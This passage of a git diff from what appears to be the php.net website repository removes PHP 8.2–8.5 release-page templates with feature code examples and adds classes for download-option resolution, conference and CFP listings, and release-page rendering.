    - jump(); - - $fibers[] = new Fiber(function () use ($fiberRng, $i): void { - $randomizer = new Randomizer($fiberRng); - - echo "{$i}: " . $randomizer->getInt(0, 100), PHP_EOL; - }); -} - -// The randomizer will use a CSPRNG by default. -$randomizer = new Randomizer(); - -// Even though the fibers execute in a random order, they will print the same value -// each time, because each has its own unique instance of the RNG. -$fibers = $randomizer->shuffleArray($fibers); -foreach ($fibers as $fiber) { - $fiber->start(); -} -PHP - ); ?> -
    -
    -
    -
    -
    - -
    - -
    -

    - - RFC - -

    -
    -
    -
    PHP 8.2
    -
    - -
    -
    -
    -
    -
    - -
    - -
    -

    - - RFC - -

    -
    -
    -
    PHP < 8.2
    -
    - last_name = 'Doe'; - -$user = new stdClass(); -$user->last_name = 'Doe'; -PHP - - ); ?> -
    -
    -
    -
    -
    PHP 8.2
    -
    - last_name = 'Doe'; // Deprecated notice - -$user = new stdClass(); -$user->last_name = 'Doe'; // Still allowed -PHP - ); ?> -
    -
    -
    -
    -
    - -
    - -
    - -
    -
    -

    -
    -
      -
    • -
    • -
    • -
    • -
    • -
    -
    -
    - -
    -

    -
    -
      -
    • -
    • -
    • -
    • -
    • -
    • -
    • -
    • -
    • -
    -
    -
    -
    - - - - -
    -
    -
    - -
    -
    -
    - -
    -
    -
    - -
    -
    -
    - -
    -
    -

    - - RFC -

    -
    -
    -
    PHP < 8.3
    -
    - -
    -
    -
    -
    -
    PHP 8.3
    -
    - -
    -
    -
    -
    - -
    -

    - - RFC -

    -
    -
    -
    PHP < 8.3
    -
    - -
    -
    -
    -
    -
    PHP 8.3
    -
    - -
    -
    -
    -
    - -
    -

    - - RFC -

    -
    -
    -
    PHP < 8.3
    -
    - logFile = fopen('/tmp/logfile', 'w'); - } - - protected function taerDown(): void { - fclose($this->logFile); - unlink('/tmp/logfile'); - } -} - -// The log file will never be removed, because the -// method name was mistyped (taerDown vs tearDown). -PHP - - ); ?> -
    -
    -
    -
    -
    PHP 8.3
    -
    - logFile = fopen('/tmp/logfile', 'w'); - } - - #[\Override] - protected function taerDown(): void { - fclose($this->logFile); - unlink('/tmp/logfile'); - } -} - -// Fatal error: MyTest::taerDown() has #[\Override] attribute, -// but no matching parent method exists -PHP - ); ?> -
    -
    -
    - -
    - -
    -
    - -
    -

    - - RFC -

    -
    -
    -
    PHP < 8.3
    -
    - php = clone $this->php; - } -} - -$instance = new Foo(new PHP()); -$cloned = clone $instance; - -// Fatal error: Cannot modify readonly property Foo::$php -PHP - - ); ?> -
    -
    -
    -
    -
    PHP 8.3
    -
    - php = clone $this->php; - } -} - -$instance = new Foo(new PHP()); -$cloned = clone $instance; - -$cloned->php->version = '8.3'; -PHP - ); ?> -
    -
    -
    -
    - -
    -
    - -
    -

    - - RFC - -

    -
    -
    -
    PHP < 8.3
    -
    - -
    -
    -
    -
    -
    PHP 8.3
    -
    - -
    -
    -
    -
    - -
    -
    - -
    -

    - - RFC - -

    -
    -
    -
    PHP < 8.3
    -
    - -
    -
    -
    -
    -
    PHP 8.3
    -
    - getBytesFromString( - 'abcdefghijklmnopqrstuvwxyz0123456789', - 16, - ), -); - -echo $randomDomain; -PHP - ); ?> -
    -
    -
    - -
    - -
    -
    - -
    -

    - - RFC - -

    -
    -
    -
    PHP < 8.3
    -
    - -
    -
    -
    -
    -
    PHP 8.3
    -
    - getFloat( - -89.2, - 56.7, - \Random\IntervalBoundary::ClosedClosed, -); - -$chanceForTrue = 0.1; -// Randomizer::nextFloat() is equivalent to -// Randomizer::getFloat(0, 1, \Random\IntervalBoundary::ClosedOpen). -// The upper bound, i.e. 1, will not be returned. -$myBoolean = $randomizer->nextFloat() < $chanceForTrue; -PHP - ); ?> -
    -
    -
    -
    - -
    - -
    - -
    -

    - - PR - -

    -
    -
    -
    PHP < 8.3
    -
    - -php -l foo.php bar.php -No syntax errors detected in foo.php - -
    -
    -
    -
    -
    PHP 8.3
    -
    - -php -l foo.php bar.php -No syntax errors detected in foo.php -No syntax errors detected in bar.php - -
    -
    -
    -
    - -
    - -
    - - -
    - -
    -
    -

    -
    -
      -
    • -
    • -
    • -
    • -
    • -
    • -
    • -
    • -
    • -
    • -
    • -
    • -
    • -
    -
    -
    - -
    -

    -
    -
      -
    • -
    • -
    • -
    • -
    • -
    • -
    • -
    • -
    • -
    • -
    -
    -
    -
    - - - - -
    -
    -
    - -
    -
    -
    - -
    -
    -
    - -
    -
    -
    - -
    -
    -

    - - RFC - -

    -
    -
    -
    PHP < 8.4
    -
    - setLanguageCode($languageCode); - $this->setCountryCode($countryCode); - } - - public function getLanguageCode(): string - { - return $this->languageCode; - } - - public function setLanguageCode(string $languageCode): void - { - $this->languageCode = $languageCode; - } - - public function getCountryCode(): string - { - return $this->countryCode; - } - - public function setCountryCode(string $countryCode): void - { - $this->countryCode = strtoupper($countryCode); - } - - public function setCombinedCode(string $combinedCode): void - { - [$languageCode, $countryCode] = explode('_', $combinedCode, 2); - - $this->setLanguageCode($languageCode); - $this->setCountryCode($countryCode); - } - - public function getCombinedCode(): string - { - return \sprintf("%s_%s", $this->languageCode, $this->countryCode); - } -} - -$brazilianPortuguese = new Locale('pt', 'br'); -var_dump($brazilianPortuguese->getCountryCode()); // BR -var_dump($brazilianPortuguese->getCombinedCode()); // pt_BR -PHP - - ); ?> -
    -
    -
    -
    -
    PHP 8.4
    -
    - countryCode = strtoupper($countryCode); - } - } - - public string $combinedCode - { - get => \sprintf("%s_%s", $this->languageCode, $this->countryCode); - set (string $value) { - [$this->languageCode, $this->countryCode] = explode('_', $value, 2); - } - } - - public function __construct(string $languageCode, string $countryCode) - { - $this->languageCode = $languageCode; - $this->countryCode = $countryCode; - } -} - -$brazilianPortuguese = new Locale('pt', 'br'); -var_dump($brazilianPortuguese->countryCode); // BR -var_dump($brazilianPortuguese->combinedCode); // pt_BR -PHP - ); ?> -
    -
    -
    -
    - -
    -
    -
    -

    - - RFC - -

    -
    -
    -
    PHP < 8.4
    -
    - version; - } - - public function increment(): void - { - [$major, $minor] = explode('.', $this->version); - $minor++; - $this->version = "{$major}.{$minor}"; - } -} -PHP - - ); ?> -
    -
    -
    -
    -
    PHP 8.4
    -
    - version); - $minor++; - $this->version = "{$major}.{$minor}"; - } -} -PHP - ); ?> -
    -
    -
    -
    - -
    -
    -
    -

    - - RFC - -

    -
    -
    -
    PHP < 8.4
    -
    - getVersion(); - } - - public function getVersion(): string - { - return '8.3'; - } -} - -$phpVersion = new PhpVersion(); -// No indication that the method is deprecated. -echo $phpVersion->getPhpVersion(); -PHP - - ); ?> -
    -
    -
    -
    -
    PHP 8.4
    -
    - getVersion(); - } - - public function getVersion(): string - { - return '8.4'; - } -} - -$phpVersion = new PhpVersion(); -// Deprecated: Method PhpVersion::getPhpVersion() is deprecated since 8.4, use PhpVersion::getVersion() instead -echo $phpVersion->getPhpVersion(); -PHP - ); ?> -
    -
    -
    -
    - -
    -
    -
    -

    - - RFC - RFC - -

    -
    -
    -
    PHP < 8.4
    -
    - loadHTML( - <<<'HTML' -
    -
    PHP 8.4 is a feature-rich release!
    - -
    - HTML, - LIBXML_NOERROR, -); - -$xpath = new DOMXPath($dom); -$node = $xpath->query(".//main/article[not(following-sibling::*)]")[0]; -$classes = explode(" ", $node->className); // Simplified -var_dump(in_array("featured", $classes)); // bool(true) -PHP - - ); ?> -
    -
    -
    -
    -
    PHP 8.4
    -
    - -
    PHP 8.4 is a feature-rich release!
    - - - HTML, - LIBXML_NOERROR, -); - -$node = $dom->querySelector('main > article:last-child'); -var_dump($node->classList->contains("featured")); // bool(true) -PHP - ); ?> -
    -
    -
    -
    - -
    -
    -
    -

    - - RFC -

    -
    -
    -
    PHP < 8.4
    -
    - 0); // false -PHP - - ); ?> -
    -
    -
    -
    -
    PHP 8.4
    -
    - $num2); // false -PHP - ); ?> -
    -
    -
    -
    - -
    -
    -
    -

    - - RFC -

    -
    -
    -
    PHP < 8.4
    -
    - -
    -
    -
    -
    -
    PHP 8.4
    -
    - str_starts_with($value, 'c'), -); - -var_dump($animal); // string(3) "cat" -PHP - ); ?> -
    -
    -
    -
    - -
    -
    -
    -

    - - RFC -

    -
    -
    -
    PHP < 8.4
    -
    - sqliteCreateFunction( - 'prepend_php', - static fn($string) => "PHP {$string}", -); - -$connection->query('SELECT prepend_php(version) FROM php'); -PHP - ); ?> -
    -
    -
    -
    -
    PHP 8.4
    -
    - createFunction( - 'prepend_php', - static fn($string) => "PHP {$string}", -); // Does not exist on a mismatching driver. - -$connection->query('SELECT prepend_php(version) FROM php'); -PHP - ); ?> -
    -
    -
    -
    - -
    -
    -
    -

    - - RFC - -

    -
    -
    -
    PHP < 8.4
    -
    - getVersion()); -PHP - - ); ?> -
    -
    -
    -
    -
    PHP 8.4
    -
    - getVersion()); -PHP - ); ?> -
    -
    -
    -
    - -
    -
    - -
    - -
    -
    -

    -
    -
      -
    • -
    • -
    • -
    • -
    • -
    • -
    • -
    • -
    • -
    • -
    • -
    • -
    -
    -
    - -
    -

    -
    -
      -
    • -
    • -
    • -
    • -
    • -
    • -
    • -
    • -
    • -
    • -
    • -
    • -
    -
    -
    -
    - - - - - -
    - - - - - - - - - - - - - - -
    -
    - - - - -
    - - -

    - - -
    - - -
    -
    -
    - - -
    - - -
    -

    - -
    - -
    -
    -
    -
    -
    - - - - - - - -
    -
    -
    - -
    -
    -
    - - - - - - - -
    -
    -
    - -
    -
    -
    - - - - - - -
    -
    -
    - -
    -
    -
    - - - - - - - -
    -
    -
    - -
    -
    -
    - - - - - - - -
    -
    -
    - -
    -
    -
    - - - - - - - -
    -
    -
    -
    -
    -
    - - -
    -
    -

    - -
    - -
    -
    -
    -
    -
    - -
    - -
    - -
    - -
    -
    -
    - PHP 8.5 - - RFC ↗ -
    - -
    - getHost()); -// string(7) "php.net" -PHP - ); ?> -
    -
    -
    -
    - - -
    -
    -

    - -
    - -
    -
    -
    -
    -
    - -
    - -
    - -
    - -
    -
    -
    - PHP 8.5 - - RFC ↗ -
    - -
    - trim(...) - |> (fn($str) => str_replace(' ', '-', $str)) - |> (fn($str) => str_replace('.', '', $str)) - |> strtolower(...); - -var_dump($slug); -// string(15) "php-85-released" -PHP - ); ?> -
    -
    -
    -
    - - -
    -
    -

    - -
    - -
    -
    -
    -
    -
    - -
    - -
    - withAlpha(128); -PHP - ); ?> -
    - -
    -
    -
    - PHP 8.5 - - RFC ↗ -
    - -
    - $alpha, - ]); - } -} - -$blue = new Color(79, 91, 147); -$transparentBlue = $blue->withAlpha(128); -PHP - ); ?> -
    -
    -
    -
    - - -
    -
    -

    - -
    - -
    -
    -
    -
    -
    - -
    - -
    - -
    - -
    -
    -
    - PHP 8.5 - - RFC - ↗ -
    - -
    - -
    -
    -
    -
    - - -
    -
    -

    - -
    - -
    -
    -
    -
    -
    - -
    - -
    - -
    - -
    -
    -
    - PHP 8.5 - - RFC ↗ - RFC ↗ -
    - -
    - user === $post->getAuthor(); - })] - public function update( - Request $request, - Post $post, - ): Response { - // ... - } -} -PHP - ); ?> -
    -
    -
    -
    - - -
    -
    -

    - -
    - -
    -
    -
    -
    -
    - -
    - -
    - -
    - -
    -
    -
    - PHP 8.5 - - RFC ↗ - RFC - ↗ -
    - -
    - -
    -
    -
    -
    - - -
    -
    -

    - -
    - -
    -
    -
    -
    -
    - -
    - -
    - -
    - -
    -
    -
    - PHP 8.5 - - RFC ↗ -
    - -
    - -
    -
    -
    -
    - - -
    -
    -
    -
    -

    -
      -
    • -
    • -
    • #[\Override]']) ?>
    • -
    • #[\Deprecated]']) ?>
    • -
    • -
    • -
    • -
    • setcookie()', - 'setrawcookie()', - ]) ?>
    • -
    • get_error_handler()', - 'get_exception_handler()', - ]) ?>
    • -
    • Dom\Element::getElementsByClassName()', - 'Dom\Element::insertAdjacentHTML()', - ]) ?>
    • -
    • grapheme_levenshtein()']) ?>
    • -
    • #[\DelayedTargetValidation]']) ?>
    • -
    -
    -
    -

    -
      -
    • shell_exec()' - ]) ?>
    • -
    • -
    • disable_classes']) ?>
    • -
    • -
    • array_key_exists()' - ]) ?>
    • -
    • class_alias()' - ]) ?>
    • -
    • __sleep()', - '__wakeup()', - '__serialize()', - '__unserialize()', - ]) ?>
    • -
    • NAN']) ?>
    • -
    • []', 'list()']) ?>
    • -
    • -
    -
    -
    -
    -
    - - - - - - - - - - - - - - - - - - - false]); diff --git a/releases/8.5/ru.php b/releases/8.5/ru.php deleted file mode 100644 index 4aefaf9a8c..0000000000 --- a/releases/8.5/ru.php +++ /dev/null @@ -1,5 +0,0 @@ - - - - - http://php.net/ - - - http://php.net/archive/ - - - http://php.net/cal.php - - - http://php.net/ChangeLog-4.php - never - - - http://php.net/ChangeLog-5.php - - - http://php.net/ChangeLog-7.php - - - http://php.net/conferences/ - - - http://php.net/contact.php - - - http://php.net/copyright.php - - - http://php.net/credits.php - - - http://php.net/distributions/ - - - http://php.net/docs.php - - - http://php.net/download-docs.php - - - http://php.net/download-logos.php - - - http://php.net/downloads.php - - - http://php.net/get-involved.php - - - http://php.net/git-php.php - - - http://php.net/git.php - - - http://php.net/license/ - - - http://php.net/license/contrib-guidelines-code.php - - - http://php.net/license/distrib-guidelines-code.php - - - http://php.net/manual/ - - - http://php.net/mailing-lists.php - - - http://php.net/mirror-info.php - - - http://php.net/mirror.php - - - http://php.net/mirroring.php - - - http://php.net/my.php - - - http://php.net/privacy.php - - - http://php.net/quickref.php - - - http://php.net/releases/ - - - http://php.net/security/ - - - http://php.net/security-note.php - - - http://php.net/sitemap.php - - - http://php.net/sites.php - - - http://php.net/software.php - - - http://php.net/support.php - - - http://php.net/thanks.php - - - http://php.net/unsub.php - - - http://php.net/urlhowto.php - - diff --git a/src/Downloads/OptionResolver.php b/src/Downloads/OptionResolver.php new file mode 100644 index 0000000000..8c946b85e4 --- /dev/null +++ b/src/Downloads/OptionResolver.php @@ -0,0 +1,109 @@ +}> $osList + */ + public function __construct(private readonly array $osList) + { + } + + /** + * Resolve the selected download options from the request, auto-detecting the + * operating system from client hints / user agent when not explicitly chosen. + * + * When the client supplies an invalid os parameter (e.g. bots requesting + * ?os= or ?os[]=x, which previously crashed while indexing the os + * list), the returned Resolution carries a redirect query pointing at the + * auto-detected results instead of silently rendering a default. + * + * @param array $get GET parameters (os, osvariant, version, ...) + */ + public function resolve(array $get, string $platformHeader, string $uaHeader): Resolution + { + [$autoOs, $autoOsVariant] = $this->autoDetect($platformHeader, $uaHeader); + + $defaults = [ + 'os' => $autoOs ?? 'linux', + 'version' => 'default', + ]; + + $options = array_merge($defaults, $get); + + $invalidOs = array_key_exists('os', $get) + && (!is_string($get['os']) || !array_key_exists($get['os'], $this->osList)); + + if ($invalidOs) { + $options['os'] = $defaults['os']; + } + + if ($autoOsVariant && (!array_key_exists('osvariant', $options) || !array_key_exists($options['osvariant'], $this->osList[$options['os']]['variants']))) { + $options['osvariant'] = $autoOsVariant; + } elseif (!array_key_exists('osvariant', $options) || !array_key_exists($options['osvariant'], $this->osList[$options['os']]['variants'])) { + $options['osvariant'] = array_key_first($this->osList[$options['os']]['variants']); + } + + return new Resolution( + $options, + $invalidOs ? $this->redirectQuery($options) : null, + ); + } + + /** + * Build the canonical query string for the auto-detected results, preserving + * the resolved os/variant/version so the redirect lands on a valid page. + * + * @param array $options + */ + private function redirectQuery(array $options): string + { + $query = []; + + foreach (['os', 'osvariant', 'version'] as $key) { + if (array_key_exists($key, $options) && is_string($options[$key])) { + $query[$key] = $options[$key]; + } + } + + return http_build_query($query); + } + + /** + * @return array{0: ?string, 1: ?string} [auto os, auto os variant] + */ + private function autoDetect(string $platformHeader, string $uaHeader): array + { + $autoOs = null; + $autoOsVariant = null; + + if ($platformHeader === '' && $uaHeader === '') { + return [$autoOs, $autoOsVariant]; + } + + $platform = strtolower(trim($platformHeader, '"')); + + if ($platform === 'windows' || stripos($uaHeader, 'Windows') !== false) { + $autoOs = 'windows'; + } elseif ($platform === 'macos' || stripos($uaHeader, 'Mac') !== false) { + $autoOs = 'osx'; + } elseif ($platform === 'linux' || stripos($uaHeader, 'Linux') !== false) { + $autoOs = 'linux'; + if (stripos($uaHeader, 'Ubuntu') !== false) { + $autoOsVariant = 'linux-ubuntu'; + } elseif (stripos($uaHeader, 'Debian') !== false) { + $autoOsVariant = 'linux-debian'; + } elseif (stripos($uaHeader, 'Fedora') !== false) { + $autoOsVariant = 'linux-fedora'; + } elseif (stripos($uaHeader, 'Red Hat') !== false || stripos($uaHeader, 'RedHat') !== false) { + $autoOsVariant = 'linux-redhat'; + } + } + + return [$autoOs, $autoOsVariant]; + } +} diff --git a/src/Downloads/Resolution.php b/src/Downloads/Resolution.php new file mode 100644 index 0000000000..0638ecbb0f --- /dev/null +++ b/src/Downloads/Resolution.php @@ -0,0 +1,19 @@ + $options resolved download options for rendering + * @param ?string $redirectQuery query string to redirect to (without leading + * '?'), or null when the request should render + */ + public function __construct( + public readonly array $options, + public readonly ?string $redirectQuery = null, + ) { + } +} diff --git a/src/News/Category.php b/src/News/Category.php new file mode 100644 index 0000000000..95f3b0d2e3 --- /dev/null +++ b/src/News/Category.php @@ -0,0 +1,16 @@ + Conferences starting today or later, soonest first. */ + public private(set) array $upcomingConferences = []; + + /** @var list Conferences already started (or undated), most recent first. */ + public private(set) array $pastConferences = []; + + /** @var list CFPs whose submission deadline has not passed, soonest deadline first. */ + public private(set) array $openCallsForPapers = []; + + /** @var list CFPs whose deadline has passed (or is unknown), most recently closed first. */ + public private(set) array $closedCallsForPapers = []; + + /** + * @param list $entries conference/CFP entries, e.g. from NewsHandler::getConferences() + * @param string $today today's date as 'Y-m-d' + */ + public function __construct(array $entries, string $today) + { + foreach ($entries as $entry) { + $this->assignConferenceOrCfp($entry, $today); + } + + $this->upcomingConferences = self::sortedByDate($this->upcomingConferences, ascending: true); + $this->openCallsForPapers = self::sortedByDate($this->openCallsForPapers, ascending: true); + $this->pastConferences = self::sortedByDate($this->pastConferences, ascending: false); + $this->closedCallsForPapers = self::sortedByDate($this->closedCallsForPapers, ascending: false); + } + + /** + * The entry's primary term. A few posts announce a conference and open its CFP at once, + * carrying both terms; anything that is a conference is treated as a conference (and so + * placed by its date), leaving Cfp for CFP-only posts. + * + * @param array $entry + */ + public static function termFor(array $entry): ?Category + { + $found = null; + foreach ($entry['category'] as $category) { + $term = Category::tryFrom($category['term']); + + if ($term === Category::Conferences) { + return $term; + } + + if ($term === Category::Cfp) { + $found = $term; + } + } + + return $found; + } + + /** + * @param array $conferenceOrCfp + */ + private function assignConferenceOrCfp(array $conferenceOrCfp, string $today): void + { + $isFuture = isset($conferenceOrCfp['finalTeaserDate']) && $conferenceOrCfp['finalTeaserDate'] >= $today; + $isCfp = self::termFor($conferenceOrCfp) === Category::Cfp; + + match (true) { + $isCfp && $isFuture => $this->openCallsForPapers[] = $conferenceOrCfp, + $isCfp => $this->closedCallsForPapers[] = $conferenceOrCfp, + $isFuture => $this->upcomingConferences[] = $conferenceOrCfp, + default => $this->pastConferences[] = $conferenceOrCfp, + }; + } + + /** + * Sort entries by finalTeaserDate ('Y-m-d'), keeping undated entries last. + * + * @param list $entries + * + * @return list + */ + private static function sortedByDate(array $entries, bool $ascending): array + { + usort($entries, static function (array $a, array $b) use ($ascending): int { + $aDate = $a['finalTeaserDate'] ?? ''; + $bDate = $b['finalTeaserDate'] ?? ''; + + // Push undated entries to the end whichever way the dated ones are ordered. + if ($aDate === '' || $bDate === '') { + return ($aDate === '' ? 1 : 0) <=> ($bDate === '' ? 1 : 0); + } + + return $ascending ? $aDate <=> $bDate : $bDate <=> $aDate; + }); + + return $entries; + } +} diff --git a/src/News/Entry.php b/src/News/Entry.php index 00b82ebfd8..062aeb4c3d 100755 --- a/src/News/Entry.php +++ b/src/News/Entry.php @@ -15,15 +15,15 @@ class Entry public const PHPWEB = __DIR__ . '/../../'; - public const ARCHIVE_FILE_REL = 'archive/archive.xml'; + public const ARCHIVE_FILE_REL = 'public/archive/archive.xml'; public const ARCHIVE_FILE_ABS = self::PHPWEB . self::ARCHIVE_FILE_REL; - public const ARCHIVE_ENTRIES_REL = 'archive/entries/'; + public const ARCHIVE_ENTRIES_REL = 'public/archive/entries/'; public const ARCHIVE_ENTRIES_ABS = self::PHPWEB . self::ARCHIVE_ENTRIES_REL; - public const IMAGE_PATH_REL = 'images/news/'; + public const IMAGE_PATH_REL = 'public/images/news/'; public const IMAGE_PATH_ABS = self::PHPWEB . self::IMAGE_PATH_REL; @@ -111,14 +111,19 @@ public function save(): self { $dom->preserveWhiteSpace = false; $item = $dom->createElementNs("http://www.w3.org/2005/Atom", "entry"); - $href = self::WEBROOT . ($this->isConference() ? '/conferences/index.php' : '/index.php'); + // Build the appropriate deep link depending on whether it's news, conference, or CFP + $href = self::WEBROOT . match (true) { + in_array('conferences', $this->categories, true) => '/conferences/index.php', + in_array('cfp', $this->categories, true) => '/conferences/index.php?view=cfps', + default => '/index.php', + }; $archive = self::WEBROOT . "/archive/" . date('Y', $_SERVER['REQUEST_TIME']) . ".php#{$this->id}"; $link = ($this->image['link'] ?? null) ?: $archive; self::ce($dom, "title", $this->title, [], $item); self::ce($dom, "id", $archive, [], $item); - self::ce($dom, "published", date(DATE_ATOM), [], $item); - self::ce($dom, "updated", date(DATE_ATOM), [], $item); + self::ce($dom, "published", date(DATE_ATOM, $_SERVER['REQUEST_TIME']), [], $item); + self::ce($dom, "updated", date(DATE_ATOM, $_SERVER['REQUEST_TIME']), [], $item); self::ce($dom, "link", null, ['href' => "{$href}#{$this->id}", "rel" => "alternate", "type" => "text/html"], $item); self::ce($dom, "link", null, ['href' => $link, 'rel' => 'via', 'type' => 'text/html'], $item); diff --git a/src/News/NewsHandler.php b/src/News/NewsHandler.php index a7e97f766e..ffde5ddb82 100644 --- a/src/News/NewsHandler.php +++ b/src/News/NewsHandler.php @@ -74,7 +74,7 @@ public function getNewsByYear(int $year): array public function getPregeneratedNews(): array { $NEWS_ENTRIES = null; - include __DIR__ . '/../../include/pregen-news.inc'; + include __DIR__ . '/../../public/include/pregen-news.inc'; return is_array($NEWS_ENTRIES) ? $NEWS_ENTRIES : []; } diff --git a/src/ProjectGlobals.php b/src/ProjectGlobals.php new file mode 100644 index 0000000000..0aad5e1c18 --- /dev/null +++ b/src/ProjectGlobals.php @@ -0,0 +1,26 @@ + + + + + $released + + HTML; + } + + $featuresLink = ''; + if ($whatsNew !== '') { + $featuresLink = '' . $whatsNew . ''; + } + + $upgradeLink = $isReleaseAvailable ? + '' . $upgradeNow . '' : + '' . $upgradeNow . ''; + + $unavailableNote = ''; + if (!$isReleaseAvailable && $unavailableReason !== '') { + $unavailableNote = '

    ' . $unavailableReason . '

    '; + } + + if (!str_starts_with($subtitle, '

    ')) { + $subtitle = '

    ' . $subtitle . '

    '; + } + + return << + + + + + +
    + $releasedBadge + $logoSvg + +

    $title

    + $subtitle + +
    + $featuresLink + $upgradeLink +
    + $unavailableNote +
    +
    + HTML; + } + + public static function getPrefooter(string $title, string $upgradeNow, string $description, string $extraCredit = '', bool $isReleaseAvailable = true, string $unavailableReason = ''): string + { + $footer = fancy_footer($extraCredit); + + $upgradeLink = $isReleaseAvailable ? + '' . $upgradeNow . '' : + '' . $upgradeNow . ''; + + $unavailableNote = ''; + if (!$isReleaseAvailable && $unavailableReason !== '') { + $unavailableNote = '

    ' . $unavailableReason . '

    '; + } + + return << + + + +
    + + $footer + + + + + + + + + + + + + + HTML; + } + + /** + * @param FeatureComparison[] $comparisons + */ + public static function getFeatureComparisons(array $comparisons, string $version, string $previousVersion, string $newText = ''): string + { + $html = ''; + $lastKey = array_key_last($comparisons); + + foreach ($comparisons as $key => $feature) { + $html .= self::getFeatureComparison( + feat: $feature, + version: $version, + previousVersion: $previousVersion, + isLast: $key === $lastKey, + newText: $newText, + ) . "\n"; + } + + return $html; + } + + private static function getFeatureComparison( + FeatureComparison $feat, + string $version, + string $previousVersion, + bool $isLast, + string $newText = '', + ): string { + $codeBlock = self::getCodeBlock($feat->before, $feat->after, $version, $previousVersion, $feat->highlightCode, $newText, $feat->links); + $code2Block = ''; + + if ($feat->after2 !== '') { + $code2Block = self::getCodeBlock($feat->before2, $feat->after2, $version, $previousVersion, $feat->highlightCode); + } + + $last = $isLast ? ' last' : ''; + + $description = $feat->description; + if (!str_starts_with($description, '

    ')) { + $description = '

    ' . $description . '

    '; + } + + return << +
    +

    {$feat->title}

    + $description +
    + $codeBlock + $code2Block + + HTML; + } + + private static function getCodeBlock( + string $beforeCode, + string $afterCode, + string $version, + string $previousVersion, + bool $highlightCode, + string $newText = '', + array $links = [], + ): string { + $links = array_map(self::getRfcLink(...), $links); + $linksHtml = implode("\n", $links); + + $newBadge = ''; + if ($newText !== '') { + $newBadge = '' . htmlspecialchars($newText) . ''; + } + + $noBeforeCode = $beforeCode === ''; + + if ($highlightCode) { + $beforeCode = highlight_php_trimmed($beforeCode, true); + $afterCode = highlight_php_trimmed($afterCode, true); + } else { + $beforeCode = "
    $beforeCode
    "; + $afterCode = "
    $afterCode
    "; + } + + $version = htmlspecialchars($version); + $previousVersion = htmlspecialchars($previousVersion); + $copyCodeButton = self::getCopyCodeButton(); + + if ($noBeforeCode) { + $codeMarkup = << +
    +
    + $version + $newBadge + $linksHtml +
    + $copyCodeButton +
    + $afterCode + + HTML; + } else { + $codeMarkup = << +
    +
    + $previousVersion +
    + $copyCodeButton +
    + $beforeCode + + +
    +
    +
    + $version + $newBadge + $linksHtml +
    + $copyCodeButton +
    + $afterCode +
    + HTML; + } + + $singleClass = $noBeforeCode ? ' single' : ''; + return << +
    + $codeMarkup +
    + + HTML; + } + + private static function getRfcLink(string $namedLink): string + { + // Use 'title|link' string since multiple links may have the same title + preg_match('!^((.+)\|)?(.+)$!', $namedLink, $matches); + $link = $matches[3]; + $title = $matches[2] ?: 'Link'; + + return '' . $title . ' ↗'; + } + + private static function getCopyCodeButton(): string + { + return <<<'HTML' + + HTML; + } +} diff --git a/styles/i-love-markdown.css b/styles/i-love-markdown.css deleted file mode 100644 index 6d1ad3d92f..0000000000 --- a/styles/i-love-markdown.css +++ /dev/null @@ -1,193 +0,0 @@ -/* - * Thanks to brilliant work by Andrea D. (aka NKjoep): - * https://github.com/NKjoep - * - * See: - * https://github.com/NKjoep/i-love-markdown.css - */ -.markdown-content *, -.markdown-content *:before, -.markdown-content *:after { - font-size: 14px; - font-family: monospace; - line-height: 1.1; - margin: 0; - padding: 0; - font-weight: normal; - font-style: normal; -} -.markdown-content h1, -.markdown-content h2, -.markdown-content h3, -.markdown-content h4, -.markdown-content h5, -.markdown-content h6 { - margin-bottom: 1em; - margin-bottom: 2ch; -} -.markdown-content h1:before { - content: '# '; -} -.markdown-content h2:before { - content: '## '; -} -.markdown-content h3:before { - content: '### '; -} -.markdown-content h4:before { - content: '#### '; -} -.markdown-content h5:before { - content: '##### '; -} -.markdown-content h6:before { - content: '###### '; -} -.markdown-content pre, -.markdown-content blockquote { - margin: 1em 1em 1em 1em; - margin: 2ch 2ch 2ch 2ch; - clear: both; -} -.markdown-content pre code:before, -.markdown-content pre code:after { - content: '```'; - display: block; -} -.markdown-content p { - margin: 0 0 1em 0; - margin: 0 0 2ch 0; -} -.markdown-content p code:before, -.markdown-content p code:after { - content: '`'; -} -.markdown-content blockquote { - position: relative; - padding-left: 1em; - padding-left: 2ch; - overflow: hidden; -} -.markdown-content blockquote:after { - content: ">\A>\A>\A>\A>\A>\A>\A>\A>\A>\A>\A>\A>\A>\A>\A>\A>\A>\A>\A>\A>\A>\A>\A>\A>\A>\A>\A>\A>\A>\A>\A>\A>\A>\A>\A>\A>\A>\A>\A>\A>\A>\A>\A>\A>\A>\A>\A>\A>\A>\A>\A>\A>\A>\A>\A>\A>\A>\A>\A>\A>\A>\A>\A>\A>\A>\A>\A>\A>\A>\A>\A>\A>\A>\A>\A>\A>\A>\A>\A>\A>\A>\A>\A>\A>\A>\A>\A>\A>\A>\A>\A>\A>\A>\A>\A>\A>\A>\A>\A>"; - white-space: pre; - position: absolute; - top: 0; - left: 0; -} -.markdown-content li { - list-style-type: none; - list-style-position: inside; - padding-left: 3ch; -} -.markdown-content ul, -.markdown-content ol { - margin: 0 0 1em 0; - margin: 0 0 2ch 0; -} -.markdown-content ul ul, -.markdown-content ol ul, -.markdown-content ul ol, -.markdown-content ol ol { - margin: 0 0 0 2ch; -} -.markdown-content ul > li:before { - content: '- '; - float: left; - margin: 0 0.5em 0 0; - margin: 0 0 0 -3ch; -} -.markdown-content ol > li:before { - content: '1. '; - float: left; - margin: 0 0.5em 0 0; - margin: 0 0 0 -3ch; -} -.markdown-content em { - font-weight: normal; - font-style: normal; -} -.markdown-content em:before, -.markdown-content em:after { - content: '*'; -} -.markdown-content del { - font-weight: normal; - font-style: normal; - text-decoration: none; -} -.markdown-content del:before, -.markdown-content del:after { - content: '~~'; -} -.markdown-content strong { - font-weight: normal; - font-style: normal; -} -.markdown-content strong:before, -.markdown-content strong:after { - content: '__'; -} -.markdown-content a:before { - content: '['; -} -.markdown-content a:after { - content: "](" attr(href) ")"; -} -.markdown-content a:link, -.markdown-content a:visited, -.markdown-content a:hover, -.markdown-content a:active, -.markdown-content a:focus { - color: #000; - text-decoration: none; -} -.markdown-content hr { - margin: 0 0 1em 0; - margin: 0 0 2ch 0; - display: block; - border: 0; - background-color: transparent; -} -.markdown-content hr:after { - content: '----'; -} -.markdown-content th:before, -.markdown-content td:before { - content: '|'; -} -.markdown-content th:last-child:after, -.markdown-content td:last-child:after { - content: '|'; -} -.markdown-content img { - height: 0; - width: 0; - font-size: 0; - color: transparent; - position: relative; - content: ""; -} -.markdown-content img:before, -.markdown-content img:after { - position: absolute; - top: 0; - left: 0; -} -.markdown-content img:before { - content: '![' attr(alt) '](' attr(src) ' "' 